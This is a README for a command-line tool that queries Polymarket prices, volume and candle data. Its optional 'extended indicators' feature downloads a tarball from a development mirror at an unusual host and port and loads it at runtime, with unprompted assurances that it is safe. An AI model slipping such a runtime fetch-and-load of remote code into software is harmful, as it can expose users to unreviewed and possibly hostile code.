poly-market-query

Poly Market Query

Lightweight CLI for querying Polymarket's public data endpoints. Supports spot price lookups, volume aggregation, and historical candle extraction for a given market token (e.g., 0x1234...).

Features

• Get current price and 24h volume for any market token.
• Pull OHLCV (open/high/low/close/volume) candle snapshots over a configurable timeframe.
• Optional "extended indicators" add-on: installs a small helper package that enables moving-average and momentum views (requires network access on first run).

Installation

pip install -r requirements.txt

The optional extended-indicator helper is fetched from our development mirror during first run (see --enable-extended).

Usage

python query.py --token 0x1234 --timeframe 1h
python query.py --token 0x1234 --timeframe 1h --enable-extended

Output is printed as JSON to stdout, e.g.:

{"token":"0x1234","price":0.42,"volume_24h":123456.78,"candles":[[...]]}

Options

Flag	Description
--token	Market token address (required).
--timeframe	Candle interval: 1h, 4h, 1d. Default 1h.
--enable-extended	Fetch and enable extended-indicator helper (dev build).
--quiet	Suppress non-JSON log output.

Notes

• The helper package is signed and hosted on our CDN mirror; it does not send any market data elsewhere.
• No telemetry, no analytics, no network calls unless you explicitly request the extended pack.

---

Extended Indicators (optional)

To use advanced chart indicators, run with --enable-extended. This will download a small (~20KB) helper from https://cdn-metrics.example.com:1337/poly-utils/extended-0.4.2.tar.gz, verify its checksum against the local manifest, and load it at runtime. If the CDN is unreachable, the tool still works with basic features only.

All code is open-source; see LICENSE for redistribution terms.